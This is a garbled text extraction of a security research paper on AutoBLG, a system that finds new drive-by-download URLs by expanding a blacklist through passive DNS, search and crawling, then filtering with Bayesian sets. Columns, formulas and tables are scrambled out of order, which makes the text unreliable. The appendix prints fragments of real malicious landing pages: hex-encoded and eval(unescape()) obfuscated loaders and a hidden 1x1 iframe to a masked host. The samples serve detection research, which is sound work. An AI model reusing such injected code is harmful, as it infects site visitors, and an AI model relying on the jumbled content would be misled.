AutoBLG: Automatic URL Blacklist Generator
Using Search Space Expansion and Filters
Bo SunMitsuaki Akiyama

Dept. of Communication Engineering,
Waseda University
3-4-1 Okubo Shinuku, Tokyo, Japan
Email: sunshine@nsl.cs.waseda.ac.jp

NTT Secure Platform Laboratories
3-9-11 Midoricho Musashino-city, Tokyo, Japan
Email: akiyama.mitsuaki@lab.ntt.co.jp

Takeshi Yagi

Mitsuhiro Hatada

Tatsuya Mori

NTT Secure Platform Laboratories
Dept. of Communication Engineering, Dept. of Communication Engineering,
3-9-11 Midoricho Musashino-city, Tokyo, Japan
Waseda University
Waseda University
Email: yagi.takeshi@lab.ntt.co.jp
3-4-1 Okubo Shinuku, Tokyo, Japan 3-4-1 Okubo Shinuku, Tokyo, Japan
Email: m.hatada@nsl.cs.waseda.ac.jp
Email: mori@nsl.cs.waseda.ac.jp
enormousness of the World Wide Web. There are 30 trillion
unique URLs in the wild Internet [12]. In addition, a vast
number of URLs are generated constantly. We must be able toidentify malicious URLs among this huge population using a
dynamic analysis system such as a web client honeypot, which
requires both time and computing resources. Thus, we require
mechanisms that drastically reduce the number of URLs thatmust be verified with the dynamic analysis system. Second,
we must address the short lifespan of malicious URLs. For
example, fast-flux networks change their domain name system(DNS) records rapidly to evade being blacklisted [3]. Thus, ablacklist-generating system should be lightweight.

Abstract—Modern web users are exposed to a browser security
threat called drive-by-download attacks that occur by simply visiting a malicious Uniform Resource Locator (URL) that embeds
code to exploit web browser vulnerabilities. Many web users tend
to click such URLs without considering the underlying threats.
URL blacklists are an eﬀective countermeasure to such browsertargeted attacks. URLs are frequently updated; therefore, collecting fresh malicious URLs is essential to ensure the eﬀectivenessof a URL blacklist. We propose a framework called automatic
blacklist generator (AutoBLG) that automatically identifies new
malicious URLs using a given existing URL blacklist. The key
idea of AutoBLG is expanding the search space of web pages while
reducing the amount of URLs to be analyzed by applying several
pre-filters to accelerate the process of generating blacklists. AutoBLG comprises three primary primitives: URL expansion, URL
filtration, and URL verification. Through extensive analysis using
a high-performance web client honeypot, we demonstrate that
AutoBLG can successfully extract new and previously unknown
drive-by-download URLs.

To the best of our knowledge, although several approaches
have proposed mechanisms to generate URL blacklists, none
has addressed the above-mentioned two issues directly andsimultaneously. We aim to construct a lightweight framework
called the automatic blacklist generator (AutoBLG). AutoBLG
discovers new malicious URLs from web space automatically.
The key idea of AutoBLG is expanding the search space of
web pages while reducing the number of URLs to be analyzed
by applying several pre-filters to accelerate the process ofgenerating a blacklist.

I. Introduction
Today, web users worldwide are victims of various webbased attacks [14]. The estimated number of such attacks is 4.7
M per day. Moreover, 93% of web-based attacks are reported
to be attributed to drive-by-download attacks. Drive-bydownload attacks can occur by simply visiting a malicious
URL that embeds code to exploit the vulnerabilities of web
clients and can infect a web user s computer with malware
by exploiting web browser or browser plug-in vulnerabilities.
Many web users tend to click such URLs without considering
the underlying threats.

AutoBLG comprises three primary primitives: URL expansion, URL filtration, and URL verification. Each primitive
combines several techniques to achieve its functions. Throughextensive analysis using a high-performance web client honeypot, we demonstrate that AutoBLG successfully extracts
new and previously unknown drive-by-download URLs in alightweight manner.

The most eﬀective countermeasure for browser-targeted
threats is to use a URL blacklist as a pre-filtering mechanism.
A URL blacklist is a database that stores a list of URLs thathave been identified as malicious. If a browser encounters ablacklisted URL, it will automatically block access. Generally,
URL blacklists are generated by user feedback or by proactively searching web space.

The main contributions of this paper are summarized asfollows:

To ensure the eﬀectiveness of a URL blacklist, we must
address the challenges as follows. First, we must tackle the1•

We developed a novel light-weight system, called
AutoBLG that can discover new, previously unknown
malicious URLs eﬃciently.

•

Our experiments using various verification systems
including web-client honeypot, anti-virus checkers,and public URL reputation system demonstrated theeﬀectiveness of AutoBLG.

Non-machine learning approaches
Invernizzi et al. [13] developed EvilSeed; it can more
eﬃciently search the web for URLs that are likely malicious.
Unlike other previous studies, Invernizzi et al. leveraged searchengines such as Google, Bing, and Yacy to find malicious
URLs from vast web space. They used malicious URLs
detected by Google s Safe Browsing Blacklist and Wepawet
as seed URLs. They extracted features from these seed URLs
to implement five gadgets: links, content dorks, search engine
optimization, domain registration, and DNS queries. Most of
the gadgets were used to collect new unknown URLs from web
space using search engine queries. However, EvilSeed cannot
find malicious URLs that are not indexed by a search engine.
Our proposed approach leverages a passive DNS database
to search malicious URLs from web space. Thus, even if
malicious URLs are not indexed by a search engine, we canfind them as long as they are accessed by web users at leastonce.

The remainder of this paper is organized as follows. We
review related work in section II. A high-level overview of
AutoBLG is presented in Section III. The techniques thatcomprise AutoBLG are detailed in Section V-A (URL expansion), III-C (URL filtration), and III-D (URL verification). An
evaluation of the proposed method is given in Section IV. Finally, discussions and conclusions are presented in Sections V
and VI, respectively.
II.

Related work

Many malicious URL detection methods have been proposed in recent years. Such methods can be classified into two
categories depending on whether machine learning is used. In
this section, we review related work from these two categories.
machine learning-based approaches

III.

All studies mentioned below have used various types ofsupervised machine learning to detect malicious URLs. We
describe the features and supervised machine learning algorithms proposed in these studies.

AutoBLG framework

This section presents the architecture of the AutoBLG
framework. The aim of the AutoBLG framework is to improvethe eﬀectiveness of URL blacklists by collecting new malicious
URLs based on the known ones. We first present high-level
overview of the AutoBLG framework. Next, we present threecore components, URL expansion, URL filtration, and URL
verification.

Choi et al. [7] adopted six groups of discriminative features: lexicon, link popularity, webpage content, DNS, DNS
fluxiness, and network traﬃc. The classifiers proposed by
Ma et al. [15] were based on only URL strings and hostinformation features; however, they evaluated the performanceof multiple classifiers. They determined that a logistic regression classifier is optimal for malicious URL detectionin terms of learning time and false-positive rate. Eshete etal. [8] constructed multiple classifiers that contain features
such as URL strings and web content. They also evaluatedthe performance of multiple classifiers. Their experimental
results show that a random tree classifier achieved the highest
accuracy. Xu et al. [20] extracted 124 features from theapplication and network layers. They attempted to select thesefeatures using principal component analysis, correlation feature
selection, and Ranker search method to determine whether
the use of only a few features is as powerful as using all
features and to determine the features that are more indicativeof malicious websites. Canali et al. developed a perfilter called
Prophiler [6] that can reduce the load of costly dynamic
analysis tools by quickly discarding likely benign URLs. They
considered features from HTML content, JavaScript code,and URL strings. By experimenting with numerous standard
models, they selected J48 as a suitable classifier. Note that theclassifiers adopted in the above-mentioned methods involvebatch processing. Ma et al. [16] proposed an online classifier
method that can update a classifier in real time to address thediversity of big data.

A. High-level overview
Here, we present the high-level overview of the AutoBLG
framework. To discover new malicious URLs eﬃciently, we
have designed and implemented AutoBLG with three components: URL expansion, URL filtration, and maliciousness
verification (see Fig. 1). In the URL expansion stage, we
leverage the internet protocol (IP) addresses of malicious URLs
to gather unknown URLs. Malicious URLs are quickly madeunavailable if the attacker determines that their URLs havebeen blacklisted; however, in most cases, the IP addresses
are still open to communication. Therefore, we focus on
the network properties of malicious URLs, which should be
more stable than the malicious URLs themselves. In fact, thisstrategy enabled us to gather new malicious URLs that were
not reachable from the original URLs through the links ofWeb. Next, through URL filtration extracts likely malicious
URLs from new unknown URLs as a statistical filter. As
the statistical filter, we adopt the Bayesian sets algorithm as
we shall show in short. Finally, maliciousness of extracted
URLs are verified by using several systems including a highperformance web client honeypot, anti-virus checkers, andpublic URL reputation system.
B. URL Expansion

As all these previous studies used supervised machinelearning, they constructed classifiers with training data provided in advance. To achieve high accuracy, they prepared alarge amount of ground truth training data; however, creatingsuch data was a costly process. Moreover, existing malicious
URLs in URL blacklists are short lived and cannot be used
to obtain more information. The advantage of our proposed
method is that malicious URLs are identified using Bayesiansets, which require little training data, as a search algorithm.

To determine malicious URLs with an existing given URL
blacklist, we must obtain a set of unknown URLs with hightoxicity, which is a set of unknown URLs that contains
malicious URLs. First, we leverage a passive DNS database totransform existing malicious URLs to a set of unknown fully
qualified domain names (FQDN). Second, we employ a searchengine and web crawler to expand FQDNs to URLs with paths.
We detail each component of URL expansion as follows.
2

Search Engine(Sec. III.B.3)
URLs

Passive DNS Database(Sec. III.B.2)

URL blacklist

Pre-processing(Sec. III.B.1)

Web Client
Honeypot
FQDNs

URLs

URLs andHTML
content

FeatureVectorSuspicious
URLs

Web Crawler(Sec. III.B.4)

Feature Extraction(Sec. III.C.2)

Bayesian Sets
(Sec. III.C.1)

URL Expansion(Sec. III.B)

Fig. 1.

URL filtration (Sec. III.C)

URLVerification(Sec. III.D)

Overview of the AutoBLG System.

1) Pre-processing: The input of the proposed system is a
URL blacklist constructed and maintained by a client honeypot
Marionette [2] and the sandbox BotnetWatcher [4] , which cananalyze online malware while preventing infection to otherhosts. Our data-gathering period was from August 02, 2011 to
October 01, 2014. Our research has focused on the IP addressesof existing malicious URLs; thus, we extract eﬀective IP
addresses from URL blacklists. First, we obtain diﬀerent IP
addresses from a URL blacklist. We then check whether the
port 80 (HTTP communication) of IP addresses is available
using a tool such as Hping3 [18] or ZMap [1].

For a given query, we used the top 50 responses, which we
empirically determined as follows. First, it is likely that searchengines dispose malicious URLs in the top 20 search results.
In addition, attackers may apply cloaking technology to theirmalicious URLs to evade detection by a honeypot. Thus, there
may be fewer malicious URLs in the top 20 search results.
However, since adversaries may want a malicious URL to bereachable from victims, they may put such URLs in a place thatare discoverable by search engines. Therefore, we obtain the
top 50 search results to increase the toxicity of our data in URL
expansion. Commonly, search results contain various URLs
used to download specific file types, such as PDF, SWF, and
DOC files. AutoBLG is designed to find new and previously
unknown drive-by-download URLs; therefore, we delete suchfile-related URLs from the search results before submitting
data to the web crawler.

2) Passive DNS Database: To further enhance the information of the given set of IP addresses, we leverage thepassive DNS database [9]. For a given IP address, The passive
DNS database returns a set of FQDNs that are/were associatedwith. Note that this process is diﬀerent from the reverse DNS
lookups. For instance, If many FQDNs are associated witha single IP address, we cannot extract these FQDNs throughreverse lookups. However, the passive DNS database enables
us to extract all the present and past associations of FQDNs and
IP addresses, through the large-scale monitoring of DNS cacheservers that accomodate many users of several commercial
ISPs. Thus, the output of the database is a list of FQDNs thatcan be considere as the “neighborhood” of existing malicious
URLs in terms of IP addresses, which are often stable due tothe exisitence of rogue hosting companies.

4) Web Crawler: We adopt Apache Nutch [5] as the
web crawler and MySQL [17] as the database. Two tasks
are assigned to the web crawler. The first expands FQDNs
obtained from the passive DNS database to URLs with paths
to complement the search engine. Unlike a search engine, a
web crawler can extract hyperlinks from HTML content. Thesehyperlinks are probably not indexed by a search engine. The
other task crawls HTML content and stores it to a database forfeature extraction. The seeds for crawling are FQDNs obtained
from the passive DNS database and URLs returned by thesearch engine. The output of URL expansion is URLs withHTML content, which are then used to extract HTML features.

Even we obtain a list of FQDNS, it is not suﬃcient because
an attacker will likely place malicious webpages deep in the
directory structure of a server or in the root directory witha name other than index.html. To further locate malicious
webpages with URLs of deep paths, FQDNs should be expanded to URLs with paths. As we shall show in short, searchengines and web crawler are used to accomplish this task.

C. URL filtration
To further reduce the amount of obtained URLs, we leverage a machine-learning-based approach. We aim to consider
URLs that have characteristics similar to the existing malicious
URLs. This filtration enables us to drastically reduce theamount of URLs to be verified. To this end, we adopt Bayesiansets algorithm that finds similar items based on user-definedqueries, which specify a set of items that have similar features;e.g., URLs that used the same exploit kit. In the sections
below, we first present an overview of Bayesian sets. Next,

3) Search Engine: To search URLs that are associatedwith a given set of FQDNS, we made use of search APIs ofseveral commercial search engines. We used site search using
the technique such as adding the string site: in front of
the FQDNs to create search queries, e.g., “site:example.com”.
3where N = |Q| andwe describe how we extract features from URLs for applying
the Bayesian sets algorithm to our problem.

α̃ j1) Bayesian sets: Inspired by Google Sets [11], Ghahramani et al. developed a search algorithm called BayesianSets [10]. Google Sets1 is a useful service that provides avery small set of queries by the user and will output otheritems with high relevance to these queries from web data. For
example, given a set of queries by a user: Toyota, Nissan,
Honda, Google Sets will output top items such as BMW,
Ford,
Audi,
Mitsubishi,
Mazda,
Volkswagen
ranked by relevance to the queries.

β˜j∑(1 − xi j )Bayesian Sets Algorithm computes α, β using an entire setof URL D beforehand, and then computes α̃, β̃ according toquery set Q, finally computes score by means of α, β, α̃, β̃.
2) Feature Extraction: With regard to feature extraction,
we focus on using static features to implement lightweight
URL filtration; thus, we only extract 19 static features fromlanding page contents, including HTML tags and JavaScript
codes, in reference of Canali et al.’s HTML and JavaScript
features [6]. We will increase the number of features byacquiring JavaScript files that are loaded by landing page infuture.
Because Bayesian sets algorithm assumes the elementsof feature vector as Bernoulli distribution, we binarized thefeature vector considering 0 as the threshold value. We set
the element whose value is larger than threshold value to 1.
Furthermore, to select eﬀective features for data collected byour system, we computed the odds ratio of each feature andthen eliminated the feature whose ratio was less than 1. Finally,
we selected 10 eﬀective features: the number of iframe andframe tags, the number of hidden elements, the number ofmeta refresh tags, the number of elements with a small area,
the number of out-of-place elements, the number of embedand object tags, the presence of unescape behavior, the numberof suspicious words in the script, the number of setTimeout
functions, and the number of URLs with a diﬀerent domain.
The features that have some diﬀerences from previous studies
are as follows.

Let xi = {xi1 , . . . , xim } be i-th URL’s feature vector．wherem is the number of feature in each item.
The elements of feature vector are xi j ∈ {0, 1} (1 ≤ j ≤ m)binary variable. After modeling by paramter θ j of Bernoulli
distribution:x
P(xi j |θ j ) = θ j i j (1 − θ j )1−xi j .
Score can be computed as follows.
P(xi |Q)∫ P(xi )P(xi |θ)P(θ|Q)dθ∫P(xi |θ)P(θ)dθThe number of elements with a small area: redirection
behavior in landing page by setting very small values of theheight and width of redirection tags. A previous study [6]proposed a small area feature that the areas of div, iframe,and object tags are smaller than 30 square pixels or eachside of the three tags is smaller than 2 pixels. Our study not
only uses the previous study s definition about this feature
but also considers frameset tags whose attribute value (border,
frameborder, framespacing) is equivalent to 0.

The conjugate prior for the parameter θ of a Bernoulli distribution is the Beta distribution B(α, β), so finally score formulacan be dramatically simplified to the following one using
hyperparameters α, β [10].

=

βj +

to define α j = cm j , β j = c(1 − m j ). Because the average of the
Beta distribution which is α j /(α j + β j ) is in accordance with
m j . Our work [10] adopted customary value of paramter c = 2.

P(x, Q)
P(x|Q)=
P(x)P(Q)P(x)

P(xi |Q, α, β)P(xi |α, β)m∏
αj + βj=i

Bayesian Sets Algorithm computes each x ∈ D’s score using
Q and then outputs x in the descending order of score.

S (xi ; Q) =xi j

It is convenient to compute score in the form of logarithmlog S (xi ; Q). Hyperparameters α, β are defined experiencely
depending on datasets. For example, they utilized xi j entrie
data’s average,∑ xi j
mj =
|D|
x ∈D

Under the condition of query set Q given by the user, thefollowing score formula S is created as metrics of measuring
the relevance between Q and x.

=

∑

xi ∈Q

Let D be an entire set of URL, x ∈ D be an element belong
to this set. The user provides relatively small subset of URL
Q ⊂ D as query.

S (xi ; Q) =

αj +

xi ∈Q

Ghahramani et al. formulated the input and output of
Google Sets as clustering on demand. More precisely, thequeries given by a user can be considered as the subset ofsome unknown cluster with common features. The output of
this algorithm is to complete such a cluster by elements that arehighly relevant to queries. Interestingly, the user can form any
cluster using diﬀerent query patterns. We present additional
details of the Bayesian sets algorithm as follows.

S (x; Q) ==() ( )1−xi jα̃ j xi j β˜jαj + βj + N αjβjj=1

The number of suspicious word in the script’s content:
Through studying existing malicious URL content, we find thatsometimes attackers assign special names such as shellcode or
shcode to variables in the script; we mark such variables as
suspicious words.

1 The service of Google Sets including Google Sheets is unavailable sinceAugust 2014.

4

The number of URLs with a diﬀerent domain: A previous
study [6] counts the number of URLs located in specified tags
such as script, iframe, embed, form, and object. Our study
only considers URLs whose domains are diﬀerent from landing
page URL s domain because the landing page URL s domain
can more possibly be a redirection to a malicious website.

The number of Malicious URLs

3

D. URL Verification
We use three tools to verify the URLs extracted by URL
filtration: the Marionette web client honeypot [2] , antivirus
software, and VirusTotal [19]. The Marionette client can
trace the redirection generated by drive-by-download attacks
and identify the malware distribution URL. If an executable
file is downloaded from the malware distribution URL, theMarionette web client honeypot will identify such URLs as
malicious. Antivirus software analyzes HTML and JavaScript
content statically. For example, if there is a hidden attribute inan iframe tag, the antivirus software will identify such content
as malicious. VirusTotal is a free URL scanning service. Users
submit suspicious URLs to VirusTotal website. VirusTotal
compares the URLs submitted by users to URL blacklists andcyber-attack detection systems and then forwards the result of
the comparison to users.

Query Pattern1
Query Pattern2

2

1

0 0
10

Fig. 2.

101

102

103

The Malicious hit ratio of queries
TABLE I.

Step

URL Expansion

URL Filtration

IV. Evaluation
In this section, we evaluate the performance of the AutoBLG framework and present the results of the evaluation.

Top-K URLs

URL Verification

The data flow of AutoBLG

Items
URLs(blacklist)
IP addresses(seed)
FQDNs(Passive DNS database)
URLs(Search Engine)URLs(Web crawler)
query patterns(Bayesian Sets)
Threshold(Bayesian Sets)
candidate URLs(Bayesian Sets)
Web Client Honeypot
Antivirus Software
VirusTotal

Number26
15
33,04142,73659,394
2
300
600
600
600
600

Time
0
30s
12m
3h
1.5h
<2s
1h

A. Preliminary Experiment
Bayesian Sets successfully filtered out 94% of benign URLs
without missing any malicious URLs.

The preliminary experiment aimed to select optimal query
patterns for URL filtration. An appropriate query pattern is crucial to the eﬀective performance of a URL filtration algorithm(Bayesian sets). To this end, we used the ground-truth data sothat we can confirm the accuracy of the approach. We collected
datasets using the proposed system s URL expansion component and verified the datasets using the Marionette honeypot as
the ground truth. The datasets for the preliminary experimentcontained 10,000 benign URLs, which were verified as benign
with our manual inspection, and six malicious URLs, whichwere verified as landing pages of the drive-by download attack
using Marionette. Note that both benign and malicious URLs
were generated from the URL expansion of AutoBLG.

All the URLs extracted by the Bayesian sets algorithm
will be forwarded to the verification systems including the
Marionette web client honeypot. Although the Marionette
honeypot can achieve low rate of false-positive results, weneed to avoid verifying benign URLs as much as possible
because the dynamic analysis with web-client honeypot istime-consuming task. Based on the results of preliminary
analysis, we considered the top 300 scores as the threshold for
URL filtration. The query patterns and threshold determinedin the preliminary experiment were utilized in the formal
experiment.

We compiled two query patterns from the observations ofan existing blacklist to determine if the Bayesian sets algorithm
can extract the malicious URLs from the benign URLs. Eachquery pattern includes |Q| = N = 3 queries; i.e., six URLs werebroadly classified into two groups.The queries were determinedwith a manual inspection that whether there are or not common
features in each query’s landing pages. We tested several
combinations of possible query patterns and confirmed thatthe succeeding results are not sensitive. Concrete examples ofquery patterns are described in the Appendix section.

B. Performance of the AutoBLG framework
The data flow of the proposed system is shown in Table I.
First, from an existing URL blacklist, 26 most recent URLs,
which were landing pages of drive-by download attacks, wereselected. These URLs were then forwarded to the URL Expansion component for pre-processing. In the pre-processing
step, the 26 URLs were reduced to 15 eﬀective IP addresses.
We obtained 33,041 FQDNs from the passive DNS databaseusing the 15 IP addresses as the query. Next, we leveraged
a search engine and web crawler to expand the FQDNs to
URLs with paths. First, using a search engine, we queried
33,041 FQDNs to acquire 42,736 URLs with paths. Then,we crawled 33,041 FQDNs and 42,736 URLs with paths toidentify the HTML content of the landing page. Finally, we
expanded the original 26 URLs to 59,394 URLs with landing
page HTML content using the URL expansion component.

Figure 2 presents the number of malicious URLs in the
Top-K URLs extracted by the Bayesian Sets given the twoqueries mentioned above. The two query patterns identify
diﬀerent three malicious URLs in top 300 scores respectively
and extract all the six malicious URLs totally; i.e., all the six
malicious URLs were in the 2 × 300 = 600 of extracted URLs.
The result demonstrates that the filtration mechanism with the5TABLE II.

With the URL filtration component, we extracted a staticfeature from the HTML content and searched for malicious
URLs in the 59,394 URLs using the two query patterns
used in the preliminary experiment. Only the top 300 URLs
were submitted to the three proposed tools in the malicious
verification step. Therefore, the proposed filter reduced 99%of the URLs expanded in URL expansion.

Query Patterns1
Query Patterns2
Total

The result of AutoBLG

Web Client Honeypot
437

Antivirus Software21
223

VirusTotal
83
16
99

Web Client Honeypot	

2	

In the table, we also present the amount of time neededfor each step. Overall, AutoBLG spent approximately 6 hours
processing all the data mentioned above. Because we assume
that creation of blacklist is daily basis, the amount of timeprocessing is aﬀordable for actual operation. Note that thefiltration mechanism of AutoBLG was quite eﬀective in compressing the processing time. If we verified all the 59,394
URLs extracted, it could take more than 100 hours to complete
our task. Thus, AutoBLG enables us to accelerate the processof generating blacklist URLs.

1	
VirusTotal	

80	

Fig. 3.

Table II shows the number of malicious URLs verified by
the three proposed tools. We do not count duplicate URLs
from the two query pattern results; however, duplicate URLs
are found in the results for each verification tool. Becausesome URLs are identified by multiple tools. After eliminating
duplications, of the 600 of extracted URLs, 106 URLs weredetected as malicious or suspicious as follows. Seven URLs
detected by the web client honeypot are definitely malicious
because it contained redirecting to the exploit web pages.
23 URLs detected by the multiple antivirus softwares arehighly suspicious because they contained several HTTP objects
that were detected by the antivirus checkers; e.g., malicioius
JavaScript or executable malware. 99 URLs detected by VirusTotal are also suspicious URLs that need further manual
inspection.

3	

1	
 Antivirus 	

15	

4	

Software	

The correlation of three verification tools’ result

new and previously unknown drive-by-download URLs andother suspicious URLs that need for further analysis.
V. Discussion
In this section, we discuss some limitations of AutoBLG
and future research directions derived from them.
A. URL Expansion
1) Search Engine: As mentioned in section V-A1, we adopt
top-50 URLs from search results. Our experiments shows
approximately half of malicious URLs detected by AutoBLG
are originated from search engine’s result. Thus, web searchengine played a crucial role in collecting malicious URLs.
While we empirically derived that top-50 search results works
for collecting malicious URLs, we still have a room to improve
this criteria; e.g, top-100 search results or bottom-100 search
results. Main challenge here is to accelerate the process of web
search. As shown in Table I, the search engine step was thedominant factor for entire processing time. We will address theissue of accelerating web search engine process in our future
work.

Overall, the AutoBLG framework successfully discovered
seven malicious URLs, 23 highly suspicious URLs, and 99
suspicious URLs. Of the discovered 106 URLs, seven URLs
are completely new URLs that have not been listed in theVirusTotal, which is built on top of outcomes of several
commercial anti-virus products (see Fig. 3). Thus, AutoBLG
was able to find unknown malicious URLs. We also foundthat most of the malicious URLs identified by the web-client
honeypot were attributed to the ones exploiting a relatively new
vulnerability (i.e., MS13-037) compared with the malicious
URLs used to extract the eﬀective IP addresses. This resultclearly supports our asspumption that IP addresses used for
distributing malicious web pages are more stable than URLs,
which actually carry malicious content.

2) Web Crawler: It is known that some malicious web sites
make use of “croaking techniques” to evade the detection ofanti-malware systems [15]. Although we have not discovered
the existence of croaking from our experiments, it is possiblethat our system could suﬀer from the croaking mechanism
in collecting malicious URLs. As a simple solution to the
problem, we configured the user-agent of our web crawler
as Internet explorer 8. For our future work, we will develop
more sophisticated tools that can emulate the behavior ofbrowsers/plug-ins, which are targeted from malicious URLs.

Figure 3 shows the correlation of three verification tools’
result. As we mentioned above, seven malicious URLs foundby the honeypot are not included in VirusTotal s blacklist.
This proves that the proposed method can further enhance
VirusTotal s blacklist, which is widely used as a popular
URL verification service. In addition, 19 of 23 malicious URLs
detected by multiple antivirus programs were not identified by
the honeypot. The web client honeypot likely did not detectsome malicious URLs for several reasons, e.g., installation ofparticular browser plug-ins etc. We will discuss the limitationof the existing web-client honeypot approaches in section V.

B. Query Patterns
Using the Bayesian Sets algorithm, a set of malicious URLs
that is similar to query patterns was extracted successfully
from a large number of unknown URLs. A good feature of
adopting the Bayesian Sets algorithm is that queries are flexible
and customizable based on user demand. If we find a newpattern, we can reflect the pattern to compile a new query.
In our experiments, we tested only the search capability ofIn summary, the experiments demonstrate that AutoBLG isa light-weight blacklist generating system and it can discover6

two diﬀerent query patterns. Although AutoBLG may missseveral malicious URLs that are completely diﬀerent to thequery patterns provided by users, finding more new malicious
URLs is possible by increasing the number of query patterns.
Because Bayesian sets is a fast algorithm that can output eachquery pattern s result in less than one second, increasing thenumber of query patterns will not aﬀect the performance of
AutoBLG.

[5]
[6]

[7]
[8]

[9]
[10]
[11]

C. URL Verification
In URL verification, we used three tools to assess suspicious URLs detected by the Bayesian sets algorithm. Marionette [2] is a high-interaction honeypot that analyzes suspicious URLs dynamically in a virtual machine s browser.
Generally, only one version of a browser or plug-in is applied
to the high-interaction honeypot to assure eﬃcient analysis. We
configured Marionette with Internet Explorer 6 and Internet
Explorer 8, which are targeted by most malicious URLs.
Marionette suﬀers from false negatives because of browser andplug-in version limitations. To improve the eﬀectiveness of
URL verification, we can increase the diversity of browsers
and plug-ins or adopt a low-interaction honeypot that canemulate diﬀerent browsers to complement the high-interaction
honeypot.

[12]
[13]

[14]
[15]

[16]

[17]
[18]
[19]
[20]

D. Online operation
Currently, the process of AutoBLG is not fully online dueto the fact that two data collection processes, search engine
and web crawler, are not configured to work online. Pipelining
these processes will enable AutoBLG system work online.
Such online operation will enable us to generate and distributethe new blacklists in real time. We will also leave the issue ofpipelining URL expansion step for our future work.

Appendix
We present examples of patterns for the queries and detected malicious URLs. Some parts such as hostnames aremasked for security reasons. Figures 4 and 5 show a part ofHTML content of two query URLs for pattern 1. Clearly, we
can see that some obfuscation JavaScript code is included inthese cases. Together with other features, we compiled these
URLs as a pattern 1 queries. As shown in Fig. 6, the HTML
content of the detected malicious URL looks quite similar tothe queries used above. Similarly, Figs 7 and 8 show a partof HTML content of two query URLs for pattern 2. Here, we
can see that some intrinsic embed and object tags are included,
which also reflect a typical pattern of landing pages used forthe drive-by download attacks. . Again, as shown in Fig. 9, thedetected malicious URL has HTML content that look similar
to those for the two queries.

VI. Conclusion
In this paper, we have proposed the AutoBLG framework.
Our experiments demonstrated that AutoBLG is a light-weight
blacklist generating system and it can discover new and previously unknown drive-by-download URLs and other suspicious
URLs that need for further analysis. Notably, it reduced
number of URLs to be investigated with the dynamic analysis
systems by 99% (reduced from 60K to 600), while successfully
finding new URLs that have not been listed in the widely used
popular URL reputation system. In future, we plan to adopt
other types of URL blacklists, such as phishing blacklists,
as input and evaluate whether the proposed framework candetermine new and previously unknown phishing URLs.
References
[1]
[2]

[3]

[4]

Apache. Apache Nutch. http://nutch.apache.org.
D. Canali, M. Cova, G. Vigna, and C. Kruegel. Prophiler: a fast filter
for the large-scale detection of malicious web pages. In Proc. WWW,
pages 197–206, 2011.
H. Choi, B. B. Zhu, and H. Lee. Detecting malicious web links andidentifying their attack types. In Proc. USENIX WebApps, 2011.
B. Eshete, A. Villafiorita, and K. Weldemariam. Binspect: Holistic
analysis and detection of malicious web pages. In Proc. SecureComm,
pages 149–166, 2012.
Farsight Security, Inc. DNSDB. https://www.dnsdb.info.
Z. Ghahramani and K. A. Heller. Bayesian sets. In Proc. NIPS, 2005.
Google Sets. http://en.wikipedia.org/wiki/List of Google products#
Discontinued in 2011.
Internetlivestats. Google Search Statistics. http://www.internetlivestats.
com/google-search-statistics/.
L. Invernizzi and P. M. Comparetti. Evilseed: A guided approach tofinding malicious web pages. In Proc. IEEE Symposium on Security
and Privacy, pages 428–442, 2012.
KASPERSKY. KASPERSKY SECURITY BULLETIN 2013. http://report.kaspersky.com/.
J. Ma, L. K. Saul, S. Savage, and G. M. Voelker. Beyond blacklists:learning to detect malicious web sites from suspicious urls. In Proc.
KDD, pages 1245–1254, 2009.
J. Ma, L. K. Saul, S. Savage, and G. M. Voelker. Identifying suspicious
urls: an application of large-scale online learning. In Proc. ICML,
page 86, 2009.
ORACLE. MySQL. http://www.mysql.com.
Salvatore Sanfilippo. Hping3. http://www.hping.org/hping3.html.
Virustotal. Virustotal online service. https://www.virustotal.com/ja/.
L. Xu, Z. Zhan, S. Xu, and K. Ye. Cross-layer detection of malicious
websites. In Proc. CODASPY, pages 141–152, 2013.

ZMap. https://zmap.io/.
M. Akiyama, M. Iwamura, Y. Kawakoya, K. Aoki, and M. Itoh. Design
and implementation of high interaction client honeypot for drive-bydownload attacks. IEICE Transactions, 93-B(5):1131–1139, 2010.
M. Antonakakis, R. Perdisci, D. Dagon, W. Lee, and N. Feamster.
Building a dynamic reputation system for DNS. In 19th USENIX
Security Symposium, Washington, DC, USA, August 11-13, 2010, Proceedings, pages 273–290, 2010.
K. Aoki, T. Yagi, M. Iwamura, and M. Itoh. Controlling malware httpcommunications in dynamic analysis system using search engine. In
Proc. IEEE CSS, pages 1–6, 2011.

7

6965203722293d3d2d31290a7b0a094d44324328293b200a09536574496e74657276616c2822776
f72645f2829222c34303030293b0a7d0a656c73650a7b0a096f6b28293b0a09536574496e7465727
6616c2822776f72645f2829222c34303030293b090a7d0920200a0a3c2f7363726970743e0a0a3c2f
626f64793e0a3c2f68746d6c3e0d99c0c7267d36068edb428f6c3ee419042df740886f8d01db583d8
4';	
var HJN = '';	var q = Vg.slice ( 38, 14236 );	
for ( K = 38 ; K < 14236 ; K += 2 )	{	
HJN += '%' + Vg.slice ( K, K + 2 );	
}	
document.write(unescape(HJN));	
</script>	<!-- 8HFYTE6659JHIUMJK39 --><iframe src="http://xxxxxxxxxxxngines.com/?
upxtebvekk=3e64f" width=1 height=1 style="visibility:hidden;position:absolute"></iframe><script>eval(unescape('%65%76%61%6C%28%66%75%6E%63%74%69%6F%6E%28%68%4F%58%2C%73%6A%63%75%2C%73%70%2C%49%41%76%42%2C%53%56%50%45%2C%74%77%68%29%7B%53%56%50%45%3D%66%75%6E%63%74%69%6F%6E%28%73%70%29%7B%72%65%74%75%72%6E%20%73%70%2E%74%6F%53%74%72%69%6E%67%28%73%6A%63%75%29%7D%3B%69%66%28%21%27%27%2E%72%65%70%6C%61%63%65%28%2F%5E%2F%2C%53%74%72%69%6E%67%29%29%7B%77%68%69%6C%65%28%73%70%2D%2D%29%74%77%68%5B%53%56%50%45%28%73%70%29%5D%3D%49%41%76%42%5B%73%70%5D%7C%7C%53%56%50%45%28%73%70%29%3B%49%41%76%42%3D%5B%66%75%6E%63%74%69%6F%6E%28%53%56%50%45%29%7B%72%65%74%75%72%6E%20%74%77%68%5B%53%56%50%45%5D%7D%5D	

Fig. 4.

<td colspan="2" rowspan="2" valign="top" bgcolor="#FFFFFF"><table width="100%"
border="0" align="center" cellpadding="0" cellspacing="0">	
<tr>	
<td colspan="3"><div align="center">	
<script type="text/javascript">	
AC_FL_RunContent( 'codebase','http://xxxxxxxd.xxxxxxxxxia.com/pub/shockwave/cabs/flash/swflash.cab#version=9,0,28,0','width','400','height','63','src','splash_visa8','quality','high','pluginspag
e','http://www.xxxxe.com/shockwave/download/download.cgi?
